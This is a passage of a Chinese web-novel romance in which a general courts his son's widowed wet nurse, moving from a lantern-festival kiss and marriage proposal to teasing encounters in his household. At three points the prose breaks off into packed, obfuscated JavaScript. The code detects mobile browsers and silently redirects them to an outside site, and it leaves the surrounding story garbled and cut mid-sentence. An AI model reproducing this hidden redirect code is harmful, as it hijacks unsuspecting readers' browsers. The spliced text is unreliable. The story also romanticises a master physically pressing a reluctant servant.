罗苒也不由在一旁小声说,“大爷,要不瞄准些……” 话没说完,楚烬第三个沙包已经脱手了。 这回力道比前两次都大,沙包带着风声砸过去,正中那根已经被砸了两次的架子腿。 “咔嚓”一声,木架子腿应声而断,整个架子轰然倒地,玩具哗啦啦散了一地,泥人、布老虎、竹蚂蚱滚得到处都是。 摊主目瞪口呆。 周围的人也愣住了,随即爆发出一阵叫好声。 方才还在嘀咕“没瞄准”的人,这会儿全闭了嘴,有人拍着大腿笑,“这位爷是奔着拆台来的啊!” 罗苒也愣了一瞬,随即忘了身份,蹦起来拍手欢呼, “大爷你好厉害!” 她声音又脆又亮,眼睛里全是光,嘴角弯得高高的,脸上的红晕不知是灯笼映的还是别的什么。 整个人像只欢快的小鸟,跟平日里那个低着头,缩着肩膀的小娘子判若两人。 楚烬看着她那副高兴的样子,嘴角微微弯了弯,把那堆摊主收拾起来递给他的小玩意一股脑儿塞到她怀里,声音淡淡的,却带着点得意, “拿着,回去给衍哥儿和小丫头玩。” 第35章 北方太冷,绒花也廉价 罗苒抱着满怀的玩具,脸上的笑怎么都收不住。 人群忽然往一个方向涌去,有人喊着“摘花灯了,摘花灯了”。 罗苒被挤得踉跄了一下,楚烬伸手扶住她的肩,把她往自己身边带了带。 “这是灯会最重要的节目,” 他低头看她,声音被周围的喧闹压得有些模糊, “最高的那个是头奖。” 罗苒仰头看那盏最高的花灯,挂在高高的架子上,流光溢彩的,周围还挂着许多小些的花灯。 架子矮一些的花灯已经被人摘得七七八八了,剩下几盏挂得太高,年轻人跳起来也够不到。 旁边有人议论,“那头奖在护国寺开过光,谁摘到了,一整年都有好运气。” 罗苒看着那盏漂亮的花灯,眼中满是向往。 她扭头看向身边高挑的楚烬,忍不住小声说, “大爷,您这么高,或许可以试一下。” 楚烬嗤之以鼻,别过脸去,“幼稚,本将军才不做这种事。” 罗苒还盯着那盏花灯,声音轻轻的,像是自言自语又像是在跟他说, “可听说摘到的会有好运呢……大爷您摘到的话,是不是就能保佑您在战场上平安,战无不胜?” 她的声音带着几分认真,像真的是在替他祈福。 楚烬低头看她。 她正仰着脸望着那盏灯,灯火映在她脸上,把她白嫩的脸颊染上了一层暖橘色。 睫毛在眼底投下一小片扇形的影子,亮晶晶的眼睛里映着花灯的光。 不知为何,楚烬心口那个地方忽然软了一下。 下一瞬,罗苒只觉得腰上忽然一紧。 楚烬单手箍住她的腰,轻轻一提,把她整个人举了起来。 罗苒惊呼一声,本能地搂住他的脖子。 他的肩膀很宽,手臂很稳,她坐在他臂弯里,像坐在一座山上,稳稳当当的,一点都不晃。 “摘。” 楚烬的声音从下方传来,声音低低的。 罗苒愣了一下,抬起头,那盏花灯就在她头顶,近在咫尺。 她伸手去够,指尖触到灯穗的那一刻,心里涌上一阵说不出的欢喜。 抓住灯柄,轻轻一提,稳稳地将那花灯摘了下来。 “拿到了!”她举着花灯,在众人羡慕的目光中低头看向楚烬,笑得真切,大大的眼睛亮得像盛了一汪星光。 楚烬仰着脸看她。 她坐在他肩头,花灯的光从她头顶洒下来,把她的笑容映得格外明亮。 看着她笑,楚烬的嘴角也跟着弯了弯。 楚烬把罗苒放下来时。 她还在笑,脸凑得近了些,放下的时候,罗苒下意识低头,嘴唇不经意擦过那高挺的鼻梁。 温热的,软软的,像一片花瓣落在皮肤上。 两个人都愣了一下。 她的笑意还挂在脸上,眼睛亮亮的,近在咫尺地望着他。 近到她能看清他眼底那一点暗沉沉的光,近到他的呼吸和她的呼吸缠在一处,分不清是谁的。 周围的人群还在喧闹,花灯还在亮着,可巷口这一小片天地忽然安静了下来,静得只能听见彼此的心跳。 楚烬忽然攥住她的手腕,拉着她穿过人群,拐进一条无人的小巷。 巷子很窄,两边的墙挡住了外面的喧闹,只剩下两个人的呼吸声,一重一浅,交织在一起。 花灯的光从巷口透进来,把他们的影子拉得很长很长。 罗苒背靠着墙壁,手里还攥着那盏花灯。 还没来得及反应,楚烬已经抵了上来。 他的手掌贴在她腰侧,掌心滚烫,隔着薄薄的衣料熨上来,像要把那处皮肤烧穿。 她被他圈在墙和他之间,退无可退,心跳快得像要从嗓子眼蹦出来。 他低头看她,目光从她微张的唇滑到她起伏的胸口,又落回她那双还泛着水光的眼睛上。 她手里的花灯晃了晃,烛光在他脸上明明灭灭,把他眼底那层暗色映得忽深忽浅。 吻落下来。 带着压抑了很久终于不再忍的力道。 他的嘴唇干燥粗糙,贴在她柔软的唇上,碾磨着,吮吸着,像是要把她整个人都揉进骨血里。 舌尖撬开她的齿关,长驱直入,纠缠着她的,掠夺着她的呼吸。 罗苒被他吻得腿软,手指攥不住花灯,那盏灯“啪”地掉在地上,骨碌碌滚到脚边,烛火晃了晃,没灭。 强势的舌头扫过她的上颚,她整个人都颤了一下,从喉咙里漏出一声极轻的呜咽,被他吞进嘴里。 罗苒推不开,躲不掉,只能攀着楚烬的衣襟。 不知过了多久,楚烬才慢慢退开一些。 两个人的呼吸都乱了,交缠在一起,分不清是谁的。 她的嘴唇被他亲得殷红,微微肿着,水光潋滟。 脸颊泛着粉意,从耳根一路烧到脖颈,在昏暗的巷子里格外分明。 楚烬看着她这副模样,喉结滚了滚。 他的拇指擦过她唇角的水渍,停在她微微发烫的脸颊上,粗糙的指腹贴着她细嫩的皮肤,没移开。 “北方太冷,绒花也廉价。” 他开口,声音低哑,带着一种说不清道不明的认真, “你若想要找个依靠,不如爷娶了你。” 罗苒愣住了,目光瞪大,看着他那张近在咫尺的俊脸。 “大爷……” “放心……” 他打断她,拇指依依不舍地在她脸颊上轻蹭,声音还是那样低,却比方才稳了几分, “我这次没喝醉。” 直到回到房间,罗苒还有些恍惚。 她坐在床边,已经被留在衍哥儿院里,李婆婆照看着。 屋里只有她一人,安安静静的,只有窗外的月光透过窗户漏进来。 她攥着那盏花灯,脑子里乱糟糟的,全是楚烬在巷子里说的那些话。 他说“这次没喝醉”。 那他之前,是不是一直都知道阁楼那晚的人是她? 知道姚宛儿是冒认的…… 可他什么都没说,反而顺着姚宛儿的话,说要纳她做妾,给她最好的衣食住行,让她风光了几日。 这是为什么? 罗苒咬着唇,心跳得厉害。 一个荒唐的念头从心底冒出来…… 他是不是在生气? 气她没有承认,气她把那晚的事推给了别人,所以才故意说要纳姚宛儿,故意在她面前对姚宛儿好,故意让她看着。 第36章 你这胆子,真是芝麻大点 可楚烬那样的人,沉稳冷漠,杀伐果断,怎么可能会做这种任性幼稚的事? 她摇了摇头,想把那些乱七八糟的念头甩出去,可它们就像生了根似的,怎么都赶不走。 第二日一早,罗苒就去了衍哥儿院。 把昨晚从灯会上赢来的那些小玩意一股脑摆在榻上。 小玥和衍哥儿并排坐在榻上,玩得不亦乐乎。 罗苒坐在一旁看着两个孩子,嘴角弯了弯,可心思却不在这里。 不知为何总是不自觉地想起昨晚的事。 想着想着,脸就热起来,手里的针线也拿不稳,扎了好几次手指头。 到了下午,楚烬来了一趟。 他进门时罗苒正抱着衍哥儿拍奶嗝,听见脚步声,后背不由一僵。 楚烬却像什么都没发生过似的,走到她面前,低头看了衍哥儿一眼,伸手逗了逗他的下巴,语气淡然, “今天乖不乖?” 罗苒垂着眼,小声说, “乖的,衍哥儿一向很乖。” 楚烬“嗯”了一声,又逗了会儿衍哥儿,便走了。 姿态从容,步伐稳健,和以往每一次来看衍哥儿时并无任何区别。 从头到尾,他都没怎么正眼看过罗苒。 罗苒站在原地,怀里还抱着衍哥儿,心跳却还没平复下来。 她说不清自己是什么感觉。 只觉得忐忑失神了一天的自己像个笑话。 罗苒把衍哥儿放进摇篮,坐在床边,看着窗外渐渐暗下来的天色,心里那点说不清道不明的东西慢慢沉了下去。 她想,或许这次又和之前那两次一样。 楚烬是主子,一时兴起,想对丫鬟奴婢们做点什么就做了。 那种时候说的话,流露出的眷恋之意,都不作数的。 他那样的人,想要什么没有? 今儿高兴了逗你两句,明儿忙了转头就忘,再正常不过。 可自己呢? 这种心情又是怎么回事? 罗苒低下头,看着自己的掌心。 沉下心来她好像才想通自己为什么会这样。 楚烬那张脸,那身板,那气度,往那儿一站,哪个女人能不多看两眼? 在楚府当值的这段日子,接触得频繁了,她发现他虽看起来凶恶严厉,可大多时候都是雷声大雨点小。 昨晚他带她去逛灯会,送她那么贵重的发簪,助她摘到了头奖,还用那样深情认真的眼神看她…… 换作是谁都会心动的吧? 这不是她的错,是那人太犯规了。 长成那样,做了那些事,说了那些话,她要是半点感觉都没有,那才是不正常。 可心动归心动,她不能由着自己往下陷。 楚烬这样的身份,就算之前有过一任夫人,正妻之位也永远轮不到她这样一个带着孩子的寡妇。 这个年代,男人三妻四妾再寻常不过,楚烬也不可能只守着她一个人。 他是大将军,是楚家的当家大爷,往后会有门当户对的夫人,会有名正言顺的妾室,会有数不清的女人往他身边凑。 而她什么都不是。 罗苒低头看着自己的手,她只会抱孩子、洗衣裳、缝缝补补。 这样的手,不该去够够不着的东西。 晚上,罗苒要抱着睡着的小玥回屋。 李婆婆却拦住了她,一脸热络, “罗娘子,把小玥放这儿睡行了。衍哥儿只要有小玥在,就乖得很,半夜起来也好哄,而且这屋里床软被暖和,比你们那屋强多了……别整日抱着孩子来回折腾了……” 罗苒觉得不太好,小玥留在这儿,万一夜里闹了,岂不是麻烦李婆婆? 李婆婆却不由分说地把小玥接过去,安置在衍哥儿旁边的小床上。 两个小家伙挨在一处,睡得香甜。 “你看,多好。” 李婆婆笑眯眯地说,还顺势把她往外推,“快回去歇着吧。” 罗苒也不好再说什么,只好点了点头,独自往回走。 夜已经深了,回廊上静悄悄的,只有她的脚步声在青砖上一下一下地响。 刚出衍哥儿院,路过一处暗角,一只手忽然从暗处伸出来,一把箍住她的腰,将她整个人捞进了假山后面。 罗苒吓得魂都要飞了,本能地要掰开那只手。 可那手又热又有力,像铁钳似的箍在她腰间,根本掰不动。 她张嘴要叫,一扭头,却对上一张带着笑意的脸。 竟是楚烬。 他不知在这里等了多久,月光从假山缝隙里漏进来,落在他棱角分明的脸上,把他眼底那点笑意映得明明灭灭的。 他正低头看着她,眼底亮亮的,像偷了腥的狼。 罗苒绷紧的身子一下子软下来,又气又怕,声音都打着颤, “大,大爷……” 楚烬低头看着她那副吓得脸色发白的样子,低低笑了一声,胸腔震动的感觉隔着衣裳都传了过来, “你这胆子,真是芝麻大点。” 罗苒没想到他会突然出现在这里,又被他调笑的话说得脸热。 低头要将他推开,可根本推不动。 那胸膛厚实坚硬,她的力道落上去,跟挠痒痒似的。 一阵夜风袭来,他身上那股好闻的冷松香一阵一阵地往罗苒鼻子里钻。 腰间那只大手还稳稳地箍着,滚烫的温度隔着衣料传过来,烫得她心慌。 她正不知如何是好,楚烬忽然低下头,直接把脸埋进了她脖颈里。 他深深地吸了一口气,像是在闻她身上的味道…… 奶香混着皂角的清香,淡淡的,软软的。 罗苒被楚烬这突如其来的动作搞得整个人都僵了。 呼吸时喷出的热气洒在她耳后,又烫又痒,她半边身子都开始发麻。 “大爷……” 她有些慌,声音也发颤,开始使劲推他, “这不合适,您,您快松开……” 楚烬被她推了两下,不情不愿地抬起头。 他看着面前这个红着脸,故作疏离的小娘子,头微微歪了一下。 深邃的眼眸里闪着光,像夜里捕食的兽,盯住了就不肯放。 “怎么不合适?”他的声音低低的,带着点暗哑, “昨晚在暗巷我也是这般搂着你的……回来的时候也是一路牵着你的手,把你带回府的。” 罗苒被堵得说不出话。 是啊,昨晚楚烬牵着她,十指交握,掌心贴着掌心,从花朝节一路走回府。 她当时没挣开,现在还说什么“不合适”…… 第37章 早晚是他的 楚烬看着她那副哑口无言的样子,嘴角弯了弯。 今日一整日脑子里都是这小娘子。 想她粉淡淡的脸,想她被亲得微肿的嘴,想她水盈盈的眼睛,想她坐在他臂弯里笑得眉眼弯弯的模样。 下午他特意去了衍哥儿院,借口看衍哥儿,实则是想瞧她。 她倒好低着头,神色淡淡的,连看都不肯看他一眼。 要不是因为自己刚从营地归来满身是汗还未沐浴,他恨不得当场把人拖回自己屋。 “莫不是,又想像之前那样,说是失误,或者干脆说是其他人?” 楚烬开了口,声音慢悠悠的,带着几分戏谑。 他低头凑近了些,看着面前因为他的话而有些怔愣的罗苒, “你们这些小寡妇,都是亲完就不认人,翻脸不认账的吗?” 罗苒没想到他会这么说,一时有些不知所措,脸也红得更厉害了。 过了一会,她才张开嘴,想着下午时自己想的那些,声音小小的,透着一点点委屈, “大爷,您就别再逗奴婢了……” 她顿了顿,低下头,不敢看他,声音更小了, “奴婢会忘掉之前的事,大爷若是有那方面的兴致,可以去找年轻丫鬟。奴婢成过亲,又是奶娘,真的不合适……传出去也不好……” 楚烬看着她那张认真的小脸,眉头微微皱了一下。 他开口,声音沉了几分,目光直直地盯着她,“ “怎么?莫不是真的要把你睡了,生米煮成熟饭,才能让你清楚我的心意?” 罗苒被他这话惊得抬起头,瞪大眼睛看他,脸颊上的红一路烧到脖颈,连耳朵尖都是红的。 可她还是咬着唇,坚持道, “真不行……您是大爷也不行,之前二爷那事,我跟您说过的……” 她深吸一口气,像是鼓起很大的勇气,已经做好被嘲讽挖苦她不识好歹的准备, “我不做妾室,我……” “那做夫人就行了。” 楚烬看着她说,声音不重,却又沉又稳。 罗苒心尖一颤,不敢相信地看着他。 楚烬眼中带笑意,看着那张仰起来的小脸,那上面有惊、有慌、有不敢相信,还有一丝藏都藏不住的动容。 忍不住俯下身,嘴唇轻轻落在她鼻尖上,像羽毛拂过。 “娶了你做夫人,就行了吧?” 他的声音低低的,带着热气,喷在她脸上。 罗苒整个人都僵住了,脑子里一片空白,心跳快得像要从嗓子眼蹦出来。 她看着他近在咫尺的脸,看着他眼底那簇认真的火光,嘴唇动了动,却一个字都说不出来。 就在这时,回廊那头传来脚步声和说话声,越来越近。 罗苒猛地回过神,慌乱地推他。 楚烬皱了一下眉,瞅着她惊慌失措的样子到底还是松开了手。 罗苒从他怀里挣脱出来,头也不敢回,匆匆地跑了。 脚步又急又快,像身后有狼在追。 楚烬靠在假山上,看着那道仓皇的背影消失在回廊尽头,眼底笑意更浓了几分。 跑什么。 早晚是他的。 接下来几日,楚烬像是彻底不装了。 不再冷着脸挑刺,也不阴阳怪气地训她。 可罗苒觉得比之前更难熬了。 总觉得楚烬看她的眼神变了,不再遮掩,像狼盯上了猎物,不急不躁却势在必得。 她给衍哥儿喂奶,他靠在门框上看。 她给小玥换衣裳,他坐在太师椅上看。 她在院里洗尿布,他倚在廊柱上看。 不管旁边有没有人,他就是盯着她看,看得她后背发烫,耳根发红,手都不知道往哪儿放。 “大爷,” 罗苒实在忍不住了,抱着衍哥儿转过身, “您今日不忙吗?” 楚烬靠在门框上,双臂抱在胸前,姿态懒散,目光却一点不懒散。 他看着她微微泛红的脸,慢悠悠地说, “这几日确实不忙。” 罗苒咬了咬唇,憋了半天,小声说, “可您在这里,衍哥儿总想找您,都不肯好好睡。” 这倒是实话。 衍哥儿一看见爹爹就兴奋,小手伸着要抓他的衣襟,一点也不安分。 楚烬看了一眼衍哥儿,这才不情不愿地转身离院。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454552|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>罗苒终于松了口气。 可这口气还没松到底,门口又传来脚步声。 本以为又是去而复返的楚烬,转过身才发现是裴济。 他手里提着个油纸包,站在院门口,笑容温和的同罗苒打招呼。 罗苒这才想起来,那日花朝节爽了约,裴济说改日再去,可之后几日她总是莫名其妙地临时有事,便再没去成。 “裴公子。” 罗苒抱着衍哥儿礼貌地喊了一声。 裴济目光在她脸上停了一瞬,随即笑了笑, “今日去街上采买笔墨的时候看到有新开的点心铺子,想着小玥和衍哥儿会喜欢,便带了些来。” 一而再再而三地爽了裴济的约,罗苒有些不好意思。 裴济却没有半点要质问责怪她的意思,反而上前几步,把点心放在一旁的桌上,反而越发温柔体贴, “我每个种类都买了一点,罗娘也尝一尝,看看喜欢哪个,下次我出门再给你带。” 油纸包打开,里面是各种精致造型的糕点,还冒着热气,甜香立刻飘了满屋。 衍哥儿本已经困得揉眼睛了,闻到糕点的香甜味,又精神起来,小手指着桌上的纸包,嘴里咿咿呀呀地叫,口水都快流下来了。 裴济笑着,把在院子里玩的小玥也唤进来,一人分了一块。 又挑了一块最好看的桃花酥,递给罗苒。 “谢裴公子。” 罗苒接过,咬了一口,唇齿间满是香甜,忍不住弯了弯眼睛, “好吃……” 裴济笑容更深了几分,看着她吃东西时微微弯起的眉眼,声音放柔了些, “我想着这桃花酥你便是愿意吃的,下次我再多买一些。” 罗苒忙摆手,“裴公子不用了,这糕点不便宜,怎能总让您破费。” 裴济摇摇头,语气温和, “一点小钱,本也是要买给衍哥儿吃的。” 他说着,目光又落在她脸上,声音轻了几分, “你喜欢,才是最重要的。” 罗苒愣了一下,被裴济那专注的目光看得有点不知所措,便让他稍坐片刻,自己去厨房要壶热水泡茶。 第38章 再出声,可就要被看见了 转身出了院门,刚拐过回廊,一只手从暗处伸出来,揽住她的腰,把她整个人捞进了假山后面。 罗苒下意识惊呼一声,但很快镇定下来。 能做这种事的,也就那一个人了。 她心里有数,倒不像之前那样害怕了,抬起头,果然看见楚烬那张刚毅的俊脸,正低头看着她。 “大爷,”罗苒有些无奈,“您不是回去了吗?” 楚烬没回答。 他的手还揽在她腰上,没松开,反而收紧了些,把她往自己怀里带了带。 两个人贴在一处,他身上的热气隔着薄薄的衣料传过来,让她耳朵不由自主地发起热。 “回去?” 他声音低沉,带着几分不满, “把我撵走,便是要相见他人?这急匆匆的,要去哪里?” 罗苒随即反应过来,他显然是看到了刚刚来的裴济。 罗苒脸红,手抵着他胸膛,小声解释, “是裴公子买了点心给衍哥儿和小玥,我只是去打热水,给裴公子沏茶……” “我在也不见你给我沏茶。” 楚烬打断她,声音里带着点咬牙切齿的意味, “你这小娘子,倒是三心二意的厉害。” 罗苒被他说得又羞又窘,“大爷莫要乱说……我只是……” 话没说完,院子里传来裴济的声音, “罗娘?我刚刚好像听到你喊了……” 罗苒身子一僵。 要是被看到和楚烬抱在一起,这可成何体统。 本能地想挣开他的手往外走。 楚烬感觉到她的紧张,腰上的手猛地收紧,把她往假山深处又带了带。 他低下头,嘴唇几乎贴着她的耳朵,声音压得极低,带着几分威胁的意味, “再出声,可就要被看见了。” 罗苒咬着唇,不敢再动。 裴济的声音又传来,比方才近了些,“罗娘?” 罗苒屏着呼吸,心都快从嗓子眼蹦出来了。 两人贴得太近,罗苒甚至能隐隐听到楚烬胸膛的心跳声。 楚烬低头,把脸埋进她肩窝里。 他的鼻尖蹭着她颈侧的皮肤,温热的呼吸喷在她耳后。 罗苒浑身汗**都竖起来了,忍不住缩了缩脖子。 “大爷,痒……” 她低低的开口。 又不敢动,只能咬着唇忍着。 楚烬没理她。 他的嘴唇贴着她脖颈,不轻不重地蹭着,像是叼到羊的狼,在思索着找什么地方下口。 那喷在罗苒皮肤上的呼吸越来越重,烫得她整个人都在抖。 “别动。” 楚烬闷声说了句,嘴唇终于落在她颈侧,轻轻吮了一下。 她能感觉到他的嘴唇贴在她皮肤上,温热柔软。 “罗娘?你在外面吗?” 裴济的声音又响起来,这次更近了。 罗苒浑身一僵,手指攥着他的衣襟,攥得指节都泛了白。 楚烬却在这时慢悠悠地抬起头。 他的目光越过罗苒的肩头,落在假山外面。 裴济正站在不远处,脸上温和的神情已经僵住了,神情震惊又僵硬。 此时的他目光直直地看着假山后的两个人,看着楚烬揽在罗苒腰间的手和罗苒红透的耳根以及那微微敞开的领口。 楚烬的嘴角慢慢弯起来。 那笑意里没有半点慌张,只有一种从容笃定的,带着几分挑衅的餍足。 他抬起手,略微粗糙的指腹慢条斯理地摩挲着罗苒脖颈上那枚新鲜的吻痕,像是在抚摸什么珍贵的战利品。 动作不紧不慢,目光却一直落在裴济脸上,带着几分挑衅,几分餍足,还有几分漫不经心的警告。 他没有说话,可那眼神已经说明了一切。 罗苒背对着外面,什么都不知道。 她只感觉楚烬的手指在她脖子上蹭来蹭去,痒痒的,又不敢动,只能小声问, “……人走了吗?” 楚烬收回目光,低头看她,声音放柔了几分, “没动静了,看来人走了。” 罗苒这才松了那口气,整个人都软了下来。 她挣了挣,想从他怀里出来,“那我先走了,裴公子还等着……” 楚烬没松手。 他低下头,鼻尖蹭过她的鬓角,声音低低的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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厨娘是个热心肠的,见她进来,笑呵呵地说, “来得巧,快尝尝,刚出锅的。” 罗苒摆摆手, “不好吧,主子还没吃呢。” 厨娘把盘子往她跟前推了推,压低声音,语气里带着几分不以为然, “吃吧,你不吃,到时候也是被大房那三个丫头分了去。” 第39章 过来,站那么远做什么? 她说的是大爷院里那三个近身伺候的大丫鬟。 翠柳、香荷和彩萍。 这几个在楚烬身边当差,又是府里最高等级的大丫鬟,普通下人们见了都要让上三分。 罗苒知道她们,但没怎么打过交道。 她们大部分时间都在衍哥儿院外头忙活,罗苒跟她们来往不多,最熟的要数香荷,瞧着人还不错,说话做事都温和。 罗苒拗不过厨娘的好意,接过桃花酥咬了一口。 酥皮薄得像纸,一碰就掉渣,里面的桃花馅清甜绵软,满嘴都是香味。 “好吃吧?” 厨娘一边忙活一边念叨, “大爷以前不爱吃甜食,这段时间也不知道怎么了,偏就喜欢这桃花酥,看样子是无意间尝到了,上了瘾。” “咳咳咳……” 罗苒被呛了一下,脸不由自主地红了一瞬。 厨娘手上利索,三两下就把衍哥儿院的辅食装进食盒,又把那碟桃花酥装到另一个食盒。 眼看到了晚膳的时辰,厨娘在灶台前转来转去,又要看火,又要切菜,忙得脚不沾地。 罗苒见了,便主动说, “我帮你把点心捎回院里吧。” 厨娘正忙不过来,一听这话,连忙道了谢。 罗苒提着装着桃花酥的食盒往书房走,刚拐过回廊,就看见楚烬院里的大丫鬟之一翠柳从对面过来。 她一身天青色细葛纱的斜襟衫子,头上簪着镶着碧玉的银扁钗。 走路时下巴抬得高高的,眼睛从罗苒身上扫过去,像在打量什么不值钱的物件。 “站住。” 她开口,声音不大,却带着几分居高临下的意味, “衍哥儿院里的奶娘来这里做什么?” 罗苒停下脚步,老老实实说, “厨房做了桃花酥,让我顺路送过来。” 翠柳没接,目光落在她手里的食盒上,又移到罗苒白净细嫩的脸上。 上下打量了一遍,嘴角往下撇了撇, “书房重地,你是衍哥儿奶娘都不是大爷院里的人,乱走乱闯成何体统?” 对于这个翠柳,罗苒也是有所耳闻,据说她跟在楚烬身边时间最长。 楚烬后院没人,大院里管家顾不上的事都由她管。 时间长了便觉得自己是半个主子,平日里对别的下人趾高气扬,训斥起来半点不留情面。 如今看来果然名不虚传。 翠柳说着,伸手把罗苒手里的食盒拿了过去,下巴抬了抬, “行了,东西给我,你赶紧走吧。” 她顿了顿,目光在罗苒脸上剜了一下,声音压低了,却字字带刺, “有些人啊,仗着有几分姿色,就想着勾搭这个勾搭那个,也不看看自己是什么身份。” 说罢,翠柳提着食盒转身进了书房。 她那些话落进院里其他下人耳朵里,不少人探头探脑地往这边看。 跟罗苒比较熟的香荷听见动静走过来,低声劝她, “你别往心里去,她就那样,见不得别人比她好看,明明她自己心里有想法,就觉得谁都惦记大爷……” 这几个丫头虽说都是大丫鬟,可到底才十七八岁的年纪。 罗苒比她们大好几岁,笑了笑,确实没把那些话当回事。 还没走几步,翠柳就气冲冲地从书房出来,喊她, “喂,大爷找你。” 罗苒下意识抬头往书房方向看了一眼。 帘子还没落下来,里头的人似乎也正朝这边看,那道目光隔着半掩的门帘落在她身上,让她心口莫名一跳。 她只能硬着头皮推门进去。 楚烬坐在书案后面,手里捏着一支笔,却没在写字。 他抬眼看她,声音不轻不重,却带着几分不满, “谁让你送东西不进屋的?还让别人送进来,越发会偷懒了。” 罗苒忙低下头,小声解释, “奴婢没有……这里毕竟是书房重地,外人不能随意出入……” 楚烬挑眉看着面前垂着头的小娘子, “还敢狡辩。” 说着,放下笔,挥手将一旁伺候的彩萍屏退,屋里便只剩了他们两个。 他靠在椅背上,目光落在她脸上,慢悠悠地说, “之前也不是没来过……” 罗苒不由想起上次来书房时被罚的场景,明明是领罚,怎么如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454554|201205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来竟觉得有点不对劲,脸莫名有点发烫,头又低了几分,小声道, “那……奴婢知错了。” 楚烬看着她那副见人不积极,认错倒是积极的样子,心里不大乐意。 “过来,站那么远做什么?” 他靠在椅背上,目光落在罗苒那精致的小脸上,慢悠悠地打量了一圈, “站那么远做什么?过来。” 罗苒踌躇着没动,手指绞着衣角, “大爷,衍哥儿还等着我回去喂饭……” 罗苒越想走,楚烬越是不想放人。 这段时日他整日要往衍哥儿院跑才能逮着她。 今日好不容易自己送上门来,哪有让她就这么跑了的道理? “衍哥儿院里又不是只有你一个人,那些婆子不会喂?” 他顿了顿,声音压低了半度,带着几分似笑非笑的意味, “还是说,躲着爷呢?” 罗苒连忙摆手, “没有,奴婢怎敢……” “那过来,给我研墨。” 罗苒只好走过去,拿起墨条,生疏地在砚台里转了两圈。 她不会使力,墨条在砚台上打滑,墨汁溅出来几滴,落在桌面上,洇开一小片深色。 楚烬瞧她那笨手笨脚的样子,眉头微微拧了一下,嘴角却轻轻挑了挑,“笨。” 罗苒脸有些红,小声解释道, “大爷担待,奴婢一介妇人,没上过学堂,字都不会写,研磨也自然不太会……” 说这话时她垂下眼,睫毛轻轻颤了颤,像两片被风吹动的蝶翅。 若是条件不允许谁不想从小接触笔墨,认几个字,明一些道德道理呢? 只是她从小被姨母收养,家里穷得连饭都吃不饱,哪有钱上学堂。 后来嫁了人,更没机会了。 楚烬把她眼底那一闪而过的落寞看在眼里,并未再说什么嫌弃的话语。 反而起了身,绕到她身后。 罗苒还没来得及反应,整个人已经被他的气息笼罩住了。 他的大手握上来,粗糙的掌心贴着她细白的手背。 修长有力的手指带着她捏住墨条,在砚台上慢慢画圈。 第40章 以前,可有过? 一圈,又一圈,不急不慢,像是在做一件极有耐心的事。 罗苒单薄的后背贴着结实的胸膛,隔着薄薄的衣料,能感觉到身后男人身上蒸腾的热气,还有那沉稳有力的心跳。 微热的呼吸从头顶落下来,拂过她的发丝,带着淡淡的冷松香 带着剥茧的拇指有意无意地蹭过她手背,不重,却磨得罗苒心尖痒了一瞬。 像是有什么东西从手背上那一点蔓延开来。 顺着筋脉一路往上爬,爬到手腕小臂再是心尖,酥酥麻麻怎么都止不住。 “这不学得挺快?” 楚烬忽然开口,声音低低的,热气喷在她耳后,烫得她一哆嗦。 罗苒被这突如其来的声音惊了一下,手一抖,手忙脚乱间把墨盘打翻了,墨汁溅了一地。 她慌慌张张地蹲下去拿帕子擦拭,刚蹲到桌案底下,门外就传来了脚步声。 “将军,边关的军报到了。” 是楚烬的下属。 罗苒想站起来已经来不及,楚烬重新坐下,长腿一伸,不动声色地把桌案底下的空隙挡了个严严实实。 正犹豫间,那属下们已经开始了汇报。 罗苒蹲坐在那里缩成一团,膝盖抵着楚烬的那隐绣暗银如意云纹的靴尖,后背贴着桌案的木板。 出去也不是,不出去也不是,只能缩着身子藏在暗处。 楚烬下达军令的声音从头顶传下来,沉稳冷硬和方才逗她时判若两人。 罗苒缩在那桌案下,明明没做什么亏心事,不知怎的心跳就控制不住的狂跳不止。 她能听见楚烬和下属说话的声音,一字一句都清楚,可她一个字都没听进去。 那修长结实的腿就横在她身侧,靴尖轻轻抵着她的裙摆,把她困在这方寸之间,无处可逃。 她不敢动,更不敢出声,连眼睫都不敢多眨一下。 空气里弥漫着墨汁的味道,混着楚烬身上那股冷松香,浓得化不开。 罗苒垂着头,盯着楚烬靴面上暗纹的云纹图案,听着自己如擂鼓的心跳不知所措。 不知缩在书案下多久,腿都有些麻了。 楚烬的靴尖却不知是有意还是无意,微微移动碰到了她的小腿,她只能又往角落里缩了又缩。 汇报的下属似乎听见了什么动静,抬头朝这边看了一眼, “好像有声音?” 楚烬端起茶盏抿了一口,面不改色, “可能是跑进来的猫儿。” 下属没再多问,汇报完便退了出去。 门关上,屋里安静下来。 楚烬没动,腿还伸在那里,挡着严严实实。 也不知道是不是楚烬太过专心思考军事把桌案下的她彻底忘了。 罗苒腿麻得没了知觉,实在忍不住伸出手,指尖捏着楚烬的裤腿小心翼翼地拽了拽提醒。 楚烬这才往后退了些许,但也仅仅只是但也只是一点,堪堪让她不至于被卡住,却仍将她困在方寸之间。 罗苒心想,许是自己笨手笨脚打翻砚台惹他生气了,不敢再拽第二下,只能仰起头,可怜兮兮地往上看。 声音低软, “大爷……让奴婢出去吧……” 